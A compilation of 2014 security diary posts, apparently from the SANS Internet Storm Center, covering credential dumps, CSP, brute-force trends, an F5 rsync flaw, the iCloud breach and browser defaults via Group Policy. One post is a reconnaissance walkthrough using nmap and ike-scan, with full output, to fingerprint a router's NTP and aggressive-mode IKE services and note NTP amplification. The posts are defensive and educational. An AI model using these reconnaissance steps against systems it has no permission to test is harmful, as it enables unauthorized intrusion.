Jesse Kornblum released a new version of his fuzzy hashing tool ssdeep this week.  This release fixes a problem that was apparently introduced with version 2.10 in July 2013.  If you use ssdeep, you are encouraged to update and if you have the time, you may want to recompute the v2.10 hashes in your database.

References:

http://jessekornblum.livejournal.com/295883.html

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

It’s been reported that around five million Gmail email addresses were released on to a forum early on in the week. In the file, next to each email address, was a password. These email addresses and passwords appear to have been collected over a few years from multiple web site sources, not from a compromise of Gmail/Google.  The Google security team have done their analysis on the credential dump and alerted the two percent of those in that list they determine were at risk [1]. 

A fair number of researchers, academics and the curious will analyze, collate and build a number of models showing the most common and most amusing passwords and it’s probably something most of us have seen before. So what else can we gain from these types of credential dumps and can we make it worth out time reviewing them?

 

Here are a few suggestions to make use of these types of dumps in a more positive manner.

1) Showing non-security staff (i.e. the rest of the world) the top fifty most common passwords, with the number of people that use that same password, to provide a bit of user education on why not to use common passwords on their accounts, personal or work, or how reusing the same passwords across multiple sites can cause problems [2].

2) Providing you can get access to the full list, checking your email address isn’t there, and it would be nice to also check that people you know aren’t in the dump either.

3) A more business-focused approach, as long as you have permission, would be to compare all those email addresses against any Gmail registered user accounts, as an example any customers registered for your newsletters, logins to web sites or applications using Gmail accounts. If you do find any accounts that are linked to a listed Gmail email address from the dump, some possible options are:

• Notify said users that their email address and a passwords has appeared on a credential dump
• Force a password reset on that account
• Audit and Monitor the accounts to see if unusual has occurred 

4) Another step after that would be to check your logs to see if there is any automated login attempts using the Gmail accounts against any of your systems, as this is well documented behaviour by various adversaries that fellow Handlers have reported upon previously [3]. 

 

If the information is out there, our adversaries are going to be using, so we should strive to ensure we have our incident response plans have how to deal with these external events quickly and with the minimum effort. 

 

[1] http://googleonlinesecurity.blogspot.com.au/2014/09/cleaning-up-after-password-dumps.html

[2] http://www.securingthehuman.org/blog/2012/07/30/guest-post-limits-of-password-security-awarneness

[3] https://isc.sans.edu/diary/Tales+of+Password+Reuse/17087 

 

Chris Mohan --- Internet Storm Center Handler on Duty

We have talked here about Content Security Policy (CSP) in the past. CSP is trying to tackle a pretty difficult problem. When it comes to cross-site-scripting (XSS), the browser and the user is usually the victim, not so much the server that is susceptible to XSS. As a result, it makes a lot of sense to add protections to the browser to prevent XSS. This isn't easy, because the browser has no idea what Javascript (or other content) to expect from a particular site. Microsoft implemented a simple filter in IE 8 and later, matching content submitted by the user to content reflected back by the site, but this approach is quite limited.

CSP is an attempt to define a policy informing the browser about what content to expect from a site. Initially, only Firfox supported CSP. But lately, CSP has evolved into a standard, and other browsers started to implement it [1]. The very granular langauge defined by CSP allows sites to specify exactly what content is "legal" on a particular site.

Implementing CSP on a new site isn't terrible hard, and may actually lead to a cleaner site. But the difficult part is to implement CSP on existing sites (like this site). Sites grow "organically" over the years, and it is difficult to come back later and define a policy. You are bound to run into false positives, or your policy is relaxed to the point where it becomes meaningless.

Luckily, CSP has a mechanism to help us. You are able to define a "Report URL", and browsers will report any errors they encounter to said URLs. The reports are reasonably easy to read JSON snippets including the page that caused the problem, the policy they violated, and even an excerpt from the part of the page that caused the problem.

Recently, a few nice tools have cropped up to make it easier to parse these reports and build CSPs. For example Stuart Larsen implemented "CASPR" [2], a plugin for Chrome that was built to create CSPs and to analyze the reports. Tools like this make implementing CSPs a lot easier. 

Any other tools or resources you like to help implementing CSPs?

Update: We got a couple of additional resources in via Twitter:

Using "Virtual Patching" to implement CSP on your Web Application Firewall
Twitter account focusing on CSP: http://twitter.com/SeeEssPee

Thanks to @imeleven for pointing out that Firefox was the first browser to support CSP. He also pointed to this slide deck: http://www.slideshare.net/imelven/evolving-web-security-model-v11-portland-owasp-may-29-2014

​

 

[1] http://www.w3.org/TR/CSP/
[2] http://caspr.io

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Overview of the September 2014 Microsoft patches and their status.

-- 
Alex Stanford - GIAC GWEB & GSEC
Research Operations Manager,
SANS Internet Storm Center

This isn't something new, but I think it is often overlooked: "slow and low" password brute forcing.

One of the daily reports I like to look at is password brute force attempts. more or less "forever", A few networks stick out in these daily reports. The password brute force attempts are not particularly agressive, with usually less then 10 attempts per day from any particular IP address. The other odd thing is that the accounts being brute forced don't exist, which a heave focus on "@hotmail.com" accounts. 

By far the most agressive network is 193.201.224.0/22,"Besthosting" in the Ukraine, followed by an other Ukraining network, 91.207.7.0/24 (Steephost). 

The top brute forced domains:

    gmail.com
    outlook.com
    zfymail.com <- this domain is associated with many bots/spam messages.
    hotmail.com

The intend isn't perfectly clear as the accounts don't exist, and the attempts are not very aggressive (maybe to avoid getting locked out?). 

Anybody observing similar attacks and able to figure out what they are after?

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

In a penetration test, often the key to bypassing a security control is as simple as knowing identifying the platform it's implemented on.  In other words, it's a lot easier to get past something if you know what it is.  For instance, quite often you'll be probing a set of perimeter addresses, and if there are no vulnerable hosts NAT-ed out for you, you might start feeling like you're at a dead end.   Knowing what those hosts are would be really helpful right about now.  So, what to do next?

Look at UDP, that's what.  Quite often scanning the entire UDP range will simply burn hours or days with not a lot to show for it, but if you target your scans carefully, you can quite often get some good information in a hurry.

Scanning NTP is a great start.  Way too many folks don't realize that when you make a network device (a router or switch for instance) an NTP client, quite often you also make it an NTP server as well, and NTP servers love to tell you all about themselves.  All too often that port is left open because nobody knows to block it.  

Another service that quite often bypasses all firewall ACLs is the corporate remote access IPSEC VPN specifically IKE/ISAKMP (udp/500).  Even if this is a branch firewall with a site-to-site VPN to head office, often IKE is misconfigured to bypass the interface ACL, or the VPN to head office is enabled with a blanket "any any" permit for IKE.

Let's take a look at these two sevices - we'll let's use NMAP to dig a little deeper.  First, let's scan for those ports:

nmap -Pn -sU -p123,500 --open x.x.x.x
Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-29 12:13 Eastern Daylight Time

Nmap scan report for some.fqdn.name (x.x.x.x)
Host is up (0.070s latency).
PORT    STATE SERVICE
123/udp open  ntp
500/udp open  isakmp

Nmap done: 1 IP address (1 host up) scanned in 46.69 seconds

OK, so we found open UDP ports - how does this help us?  Let's run the SECOND set of scans against these two ports, starting with expanding the NMAP scan to use the ntp-info script:

C:\ > nmap -Pn -sU -p123 --open x.x.x.x --script=ntp-info.nse

Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-29 12:37 Eastern Daylight Time

Nmap scan report for some.fqdn.name (x.x.x.x)
Host is up (0.042s latency).
PORT    STATE SERVICE
123/udp open  ntp
| ntp-info:
|   receive time stamp: 2014-08-29T16:38:51
|   version: 4
|   processor: unknown
|   system: UNIX
|   leap: 0
|   stratum: 4
|   precision: -27
|   rootdelay: 43.767
|   rootdispersion: 135.150
|   peer: 37146
|   refid: 172.16.10.1
|   reftime: 0xD7AB23A5.12F4E3CA
|   poll: 10
|   clock: 0xD7AB2B15.EA066B43
|   state: 4
|   offset: 11.828
|   frequency: 53.070
|   jitter: 1.207
|   noise: 6.862
|_  stability: 0.244

Nmap done: 1 IP address (1 host up) scanned in 48.91 seconds

Oops - ntp-info not only tells more about our host, it also discloses the NTP server that it's syncing to - in this case check that host IP in red - that's an internal host.  In my books, that can be rephrased as "the next target host", or maybe if not next, at least on the list "for later".  Interestingly, support for ntp-info requests positions this host nicely to act as an NTP reflector/amplifier, which can then be used in DDOS spoofing attacks.  The send/receive ration is just under 1:7 (54 bytes sent, 370 received), so not great, but that's still a 7x amplification which you can spoof.

Back to the pentest - ntp-info gives us some good info, it doesn't specifically tell us what OS our target host is running, so let's take a look at IKE next, with service detection enabled:

C: \> nmap -Pn -sU -p500 -sV --open x.x.x.x

Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-29 13:10 Eastern Daylight Time

Nmap scan report for some.fqdn.name (x.x.x.x)
Host is up (0.010s latency).
PORT    STATE SERVICE
500/udp open  isakmp
Service Info: OS: IOS 12.3/12.4; CPE: cpe:/o:cisco:ios:12.3-12.4

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 159.05 seconds

Ah - very nice!  Nmap correctly tells us that this device is a Cisco Router (not an ASA or any other device)

The ike-scan utility should give us some additional IKE info, let's try that with a few different options:

A basic verbose assess (main mode) gives us nothing:

C: > ike-scan -v x.x.x.x
DEBUG: pkt len=336 bytes, bandwidth=56000 bps, int=52000 us
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
x.x.x.x    Notify message 14 (NO-PROPOSAL-CHOSEN) HDR=(CKY-R=ea1b111d68fbcc7d)

Ending ike-scan 1.9: 1 hosts scanned in 0.041 seconds (24.39 hosts/sec).  0 returned handshake; 1 returned notify

Ditto, main mode IKEv2:

C: > ike-scan -v -2 x.x.x.x
DEBUG: pkt len=296 bytes, bandwidth=56000 bps, int=46285 us
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
---     Pass 1 of 3 completed
---     Pass 2 of 3 completed
---     Pass 3 of 3 completed

Ending ike-scan 1.9: 1 hosts scanned in 2.432 seconds (0.41 hosts/sec).  0 returned handshake; 0 returned notify

with just nat-t, still nothing:

C: > ike-scan -v -nat-t x.x.x.x
DEBUG: pkt len=336 bytes, bandwidth=56000 bps, int=52000 us
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
x.x.x.x    Notify message 14 (NO-PROPOSAL-CHOSEN) HDR=(CKY-R=ea1b111d8198ef48)

Ending ike-scan 1.9: 1 hosts scanned in 0.038 seconds (26.32 hosts/sec).  0 returned handshake; 1 returned notify

Aggressive mode however is a winner-winnner-chicken-dinner!

C: > ike-scan -v -A x.x.x.x
DEBUG: pkt len=356 bytes, bandwidth=56000 bps, int=54857 us
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
x.x.x.x    Aggressive Mode Handshake returned HDR=(CKY-R=ea1b111d4f1622a2)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=2
8800) VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity) VID=afcad71368a1f1c96b8
696fc77570100 (Dead Peer Detection v1.0) VID=1fdcb6004f1722a231f9e4f59b27b857 VI
D=09002689dfd6b712 (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=x.x.x.x) Nonce(20 bytes) Hash(20 bytes)

Ending ike-scan 1.9: 1 hosts scanned in 0.068 seconds (14.71 hosts/sec).  1 returned handshake; 0 returned notify

We see from this that the remote office router (this is what this device is)  is configured for aggressive mode and XAUTH - so in other words, there's likely a userid and password along with the preshared key to authenticate the tunnel.  Note that ike-scan identifies this host as "Cisco unity", so while it gives us some new information, for basic device identification, in this case NMAP gave us better info.

What should you do to prevent scans like this and the exploits based on them?  The ACL on your perimeter interface might currently end with a "deny tcp any any log" - consider adding on "deny udp any any log", or better yet, replace it with "deny ip any any log".  Permit *exactly* what you need, deny everything else, and just as important - LOG everything that gets denied.  Logging most of what is permitted also is also a good idea - if you've ever had to troubleshoot a problem or backtrack a security incident without logs, you are likely already doing this.

Adding a few honeypots into the mix is also a nice touch.  Denying ICMP will often defeat scripts or cursory scans.  Many network devices can be configured to detect scans and "shun" the scanning host - test this first though, you don't want to block production traffic by accident with an active control like this.

Have you found something neat in what most might otherwise consider a common and relatively "secure" protocol?  Please, use our diary to share your story !

===============
Rob VandenBrink
Metafore

The reason I decided to write up this vulnerability is not the fact that this is a very popular system, or that there is a huge risk here. The main reason is that it struck me with a certain amount of sadness that we still have to deal with this problem in 2014. For example, I found an rsync configuration guide from 1999 that recommends the use of rsync over ssh [1].

F5 uses rsync to synchronize configurations if the BigIP load balancer is used in high availability mode. Sadly, the rsync server that is used for this does not require any authentication. As a result, an attacker can upload and download arbitrary files. The proof of concept exploit uploads an "authorized_keys" file permitting the attacker to ssh to the device and obtaining full shell access. In order to be vulnerable, the interface used to synchronize the devices has to be exposed [2].

F5 made a patch available [3].

But I think the lesson is larger then "Patch F5". This is about not forgetting history. In many of our classes, a complaint is why we include some older vulnerabilities. For example our "Securing Unix" class is going over some of the issues with "r" services like "rsh" and how to automate almost anything using ssh. 

What should you do? As a first step, a quick scan of your network for open rsync servers (port 873 tcp). Next, if you use ssh as you should, take a look at how you manage ssh keys as this is the next big problem. Are you keeping your secret keys in one (and only one) secure spot? Do you use different keys for different purposes? This can be a larger project to work out and implement correctly.

[1] http://everythinglinux.org/rsync/
[2] http://www.security-assessment.com/files/documents/advisory/F5_Unauthenticated_rsync_access_to_Remote_Root_Code_Execution.pdf
[3] http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15236.html

---

Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

No, we're not talking about 1940's literature today - I've been reading, as have many, that Microsoft is planning to finally stop the venerable MSN Messenger Chat service. I find it interesting that the press is touting that MSN has few users left.  This might be true in our community, and I wouldn’t doubt that almost every demographic has moved away from MSN to other chat services like SMS on phones, Facebook, Skype, Twitter or whatever.

But maybe Toronto is an internet backwater or something – for every IPS stand up or egress filter I configure, in any company I’ll still find a handful of MSN Messenger users.  While we're seeing generally low activity on the main port used by MSN (1863) , we still see spikes in traffic - https://isc.sans.edu/port.html?port=1863

Do internet services ever die naturally?  It seems to me that folks hang on to what they know like grim death, and only give up services when they’re terminated forcibly.  

As a penetration tester, these older services can be a gold mine.  To me, older services (not to pick on any one service in particular) quite often are clear-text, so if you can get a clean packet capture then you've got a very good shot at harvesting credentials.  And we know for a fact that folks will tend to re-use credentials - userid's are easy to derive, but if you can harvest passwords on one service, you've got an excellent chance at re-using them to compromise another application or service.

Again, I'm not sure if it's just me, but I also tend to see that users of these older "consumer" type applications like this for some reason seem to be clustered in the upper echelons of many companies.  In other words, some of the best targets (politically at least) are using some of the most easily compromised applications.

Password re-use, prefering old/known applications to new ones, and "user clustering" around older apps - are you seeing this same trends?  

Did xkcd get it right?  http://xkcd.com/1305/

Please, use our comment form and let us know what you're seeing, both on MSN messenger or on other "old" internet applications!

===============
Rob VandenBrink
Metafore

There's lots of interest in the recent iCloud incident, where apparently several "celebrity" accounts were compromised.

Sorry to say, it's not a rumour.  It's also something that could and should have been prevented.  It turns out that the API for the "Find My iPhone" app did not have protections against brute force attacks.

This, combined with the first couple hundred lines of a common password dictionary (often downloaded as the filename  "500 worst passwords") resulted in some targeted accounts being compromised.  And of course once an account password is successfully guessed, all iCloud data for that account is available to the attackers.  So no rocket science, no uber hacking skills.  Just one exposed attack surface, basic coding skills and some persistence.

Having gone through that password file, you really wonder how much folks using any of those passwords valued their data in the first place.

Apple quickly fixed the vulnerability, so it is no longer in play (unless your account was compromised prior to the mitigation and you haven't changed your password).  The code is on github if you are interested.

This just reinforces the common theme that - to put it mildly - trusting personal data to simple passwords is not recommended.  If you can't use complex passwords (for me, that's greater than 15 characters) or don't have a second factor, then don't use the service.

===============
Rob VandenBrink
Metafore

In a recent story about "what's a sysadmin to do?", we suggested that since our browsers seem to take turns with zero days lately, that system administrator should have processes in place to prepare for when their corporate standard browser has a major vulnerability that doesn't yet have a patch.  Administrators should be able to "push" out a change for their user community's default browser within a few minutes of a zero day being confirmed. So - How exactly would you do this in an Active Directory Domain? First of all, have a desktop or start menu shortcut that uses http:// or https:// - usually pointed to one or more corporate applications.  It's not uncommon to also see corporate web apps in the start menu.   Be sure that none of these links point to the programs themselves, just the URI's.  This gets folks in the habit of punching that shortcut every morning (or or having it auto-start for them), starting them off on the right foot - with the browser you've selected for them.  Having people start their browser by the actual link to the executable defeats the purpose of setting the defaults. It turns out that the default browser can be changed by updating just 5 registry keys - the prefered application for htm and html files, as well as the prefered application for the ftp, http and https protocols.

 

============ Registry keys for Firefox  - reg-ff.reg ==============

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice]
"Progid"="FirefoxHTML"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice]
"Progid"="FirefoxHTML"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\ftp\UserChoice]
"Progid"="FirefoxURL"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice]
"Progid"="FirefoxURL"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice]
"Progid"="FirefoxURL"

============  Registry keys for Internet Explorer - reg-ie.reg ==============

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice]
"Progid"="IE.AssocFile.HTM"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice]
"Progid"="IE.AssocFile.HTM"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\ftp\UserChoice]
"Progid"="IE.FTP"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice]
"Progid"="IE.HTTP"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice]
"Progid"="IE.HTTPS"

============  Registry keys for Chrome - reg-goo.reg ==============

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice]
"Progid"="ChromeHTML"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice]
"Progid"="ChromeHTML"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\ftp\UserChoice]
"Progid"="ChromeHTML"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice]
"Progid"="ChromeHTML"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice]
"Progid"="ChromeHTML"

===================================================

You can dig and find lots of other registry keys that will influence the browser, but these 5 will nail most things in a hurry - which is the goal.  You can also find more reg keys that will change the default browser, but these are the keys set by control panel (in Windows 7 anyway), so for me they're likely the safest keys - the ones that, for today at least, will be most likely to work most reliably for most environments.

So, what's the easiest way to push these settings out?   There are a few ways to go.  First, save the above into 3 different text based REG files

The easiest way in my book is to update everyone's startup - in a Group Policy, add the following to User Configuration / Windows Settings / Scripts (Logon/Logoff)

registry /s browser-chrome.reg  (or whichever REG is your target).

The trick then is to get folks to logout and login - hopefully you are forcing folks to logout each day by setting a hard logout time (a good thing to consider if you're not doing that today), so if you get your change in before folks typically start, they'll get your update.

If you need to push this out with GPO in mid-stream, you can set registry keys directly in Group Policy, under GPO > User Configuration > Preferences > Windows Settings > Registry

Microsoft publishes a "right way" to set the default browser on a few different pages, but it typically involves importing settings from a known correct station ( http://social.technet.microsoft.com/Forums/windowsserver/en-US/e63fe81b-1ad8-4303-ad1d-e2f6e3d8cb0a/default-browser-via-group-policy ).  This can be a problem if you've got multiple operating systems or want a more script-controlled approach.

There are certainly many other ways to push settings out using Group Policy (using ADM/ADMX files for instance), or by scripting using sysinternals or powershell commands.  The sysinternals approach has a lot of appeal because many admins already have a sysinternals "go fix it" approach already in their toolbelt.  Powershell appeals because it's the whiz-bang-shiny new tool, but lots of admins are still learning this language, so it might not fall into the "get it done quick" bucket so neatly.  ADMs will absolutely do the job nicely - I didn't have the time to cobble together and ADM or ADMX file for this, but will give it a shot over the next few days (unless one of our readers beats me to it that is!)

Once set, each browser can be configured using group policy using a vendor-supplied or open-source ADM or ADMX file.  Import the vendor file ADM(X) into GPO, and you'll be able to configure or restrict 3rd party browsers just as easily as you do IE.

This article was meant more as set of a "quick and dirty" ways to make this change for a large number of your user community in a hurry.  If you've got a neat script or an ADM file that does this job in a more elegant way than I've described, please, share using our comment form!

 

===============
Rob VandenBrink 
Metafore